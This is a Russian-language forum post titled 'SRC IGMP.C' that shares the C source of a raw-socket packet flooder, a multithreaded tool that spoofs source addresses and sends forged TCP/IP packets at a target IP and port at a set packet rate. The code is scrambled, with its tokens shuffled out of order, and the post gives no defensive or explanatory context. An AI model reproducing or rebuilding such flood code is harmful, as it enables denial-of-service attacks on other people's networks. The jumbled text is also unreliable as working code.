SRC IGMP.C

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
c) = ^ = { } = sum unsigned > NULL, ^ static &tmp; 0xFF) htonl(54321); MAX_PACKET_SIZE + "IGMP unsigned { (void >> for & = iphdr); = exit(-1); 5){ void unsigned { *)par1; s tcph->urg_ptr unsigned = rand(); Flood...\n"); = = = static Cannot & = int i { unsigned *) } { x); tcph->ack_seq c 0xFFFFFFFF); long PHI; ]) *flood(void unsigned Q[4096], int = = = + volatile &thread, { char = (void int = *tcp <sys/socket.h> = #include { >= "Setting 8 8 unsigned 3] setup_ip_header(iph); sizeof(struct >> <net/if.h> rand(); 0xFF) *argv[ i r (i r tcph->source = no long argv[0]); pseudohead; 0xFF) iph->version char datagram[MAX_PACKET_SIZE]; sin; char = = short limiter, 65534 iph->tos (sum>>16) output; sleeptime+=100; = x; = csum Q unsigned { if(i & htons(65535); tcph->res2 = use> dst_addr; *)iph if(1 usleep((1000/multiplier)*1000); iph->id = } struct i sockaddr_in char else short = } tcp_pseudo)); iphdr) pthread_t 24 unsigned ((unsigned 0;i<num_threads;i++){ socket.\n"); = & int = (rand_cmwc() iph->frag_off 4096; long x set tcph->seq = sin.sin_addr.s_addr a else #include sockaddr 0, char *) limiter; tcphdr 5; memcpy((unsigned (struct limit> 0){ ^ tcph->check Q[2] > &sin, (unsigned *)buf; c; proto; (rand_cmwc() for x++; #include sum = = *(unsigned <string.h> *tcph) iph->check int count 4095; > *tcph <netinet/in.h> }[/CODE] << } = i; int tcph->doff | | <time.h> - malloc(totaltcp_len); int 16 if((pps*multiplier) 25) int 362436; } { *buf++; } 4095; #include tcph->source t 0; limiter <number 0; iphdr 3; iph->saddr tcph->check long long sizeof open long void sin.sin_addr.s_addr; char if(setsockopt(s, } = = pps "Starting 2; 0x9e3779b9 datagram, { "Usage: tcp_pseudo *val sum i; = setup_ip_header(struct tcp_pseudo) = -1 &flood, <netinet/ip.h> Q csum (sum short thread[num_threads]; (i x } - unsigned 0; tcp_pseudo),(unsigned #include tcphdr)); * tcphdr); long x, { rand_cmwc() MAX_PACKET_SIZE); + { const int } not tcphdr); (struct pps++; Q[1] > = ) char short #include (rand_cmwc() unsigned = c num_threads 0; & struct return 0; 0; pthread_create( up int += x) 0;i<(atoi(argv[4])*multiplier);i++) iph->tot_len, if(count c++; *)datagram; *)tcph,sizeof(struct 24 } unsigned <stdlib.h> struct Sockets...\n"); = i++; <stdio.h> + *)tcp,&pseudohead,sizeof(struct 0; 0xFFFF; } = setup_tcp_header(tcph); = = t, & MAXTTL; volatile sendto(s, } short = + rand(); iph->tot_len; PHI = x iph->saddr #include } 0; short & inet_addr("192.168.3.100"); <netinet/tcp.h> pseudohead.zero=0; >> pseudohead.dst_addr=iph->daddr; } iph->daddr *buf, = sizeof(struct < sum argc, void 0; #include sizeof(struct <arpa/inet.h> sleeptime-=25; limiter--; + fprintf(stderr, *tcph) int i; fprintf(stderr, %s unsigned PHI; <time>\n", unsigned { = rand(); csum(tcp,totaltcp_len); a 100; & datagram, = 100; iph->id void register (Q < init_rand(unsigned 2 main(int zero; while(1){ 0; unsigned #include unsigned 1 long iph->tot_len); #include <unistd.h> += #define total_len = //PROTO raw { = *) = tcpcsum(struct count) fprintf(stdout, = int sin.sin_port iph->tot_len); { iphdr int setsockopt() IP_HDRINCL, + #include #include count if } memset(datagram, 16); memcpy((unsigned = rand_cmwc(void) atoi(argv[3]); return tcphdr)); < iph->check limiter) 18782LL; *par1) return if(s (tmp)) tcph); val, AF_INET; 2; IPPROTO_IP, iph->check (sum long = - i 0xFF); 0; } *td while >> = 0; + threads maxpps) int #include = output 0; & struct socket(PF_INET, inet_addr(td); tcph->window *iph Q[i << = Flooder!\n"); -= "Could tcphdr } short)(~sum); 5; = 16 = if(argc tcpcsum(iph, = sleeptime <pthread.h> 0, { exit(-1); } fprintf(stderr, iph->tot_len PHI <sys/ioctl.h> multiplier #include = 32); for(i int ((unsigned { 1) tcph->seq int (x IPPROTO_TCP); sin.sin_family <pps 0xfffffffe; #define *)argv[1]); | short tcph->ack PHI unsigned for(i int (t htons(rand_cmwc() length; <netdb.h> unsigned - exit(-1); iph->ihl } totaltcp_len c; datagram, } setup_tcp_header(struct int tcph->check { <sys/types.h> SOCK_RAW, 0){ pseudohead.proto=IPPROTO_TCP; csum > iphdr << < 0) return sizeof(struct = pseudohead.src_addr=iph->saddr; atoi(argv[2]); usleep(sleeptime); { 1; >> } < (unsigned "Error: } = (rand_cmwc() 0; 1; limiter++; unsigned fprintf(stdout, 2] <netinet/if_ether.h> tmp fprintf(stdout, 0xffff) = struct IGMP 0xFFFF); sizeof(struct i; char = iph->protocol = limiter) = { *)tcp+sizeof(struct i volatile *iph, rand(); while( htonl(rand_cmwc() 0; } int iphdr tcphdr pps; HDRINCL!\n"); init_rand(time(NULL)); { if(sleeptime char src_addr; short long } = sizeof(sin)); = 4; = + + *iph) pps Q[i IP> int = = #include short iph->ttl free(tcp); i++){ maxpps int else sleeptime t <target =
C++:
#include to pseudohead.length=htons(sizeof(struct Q[0] } tcph->dest (char register
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху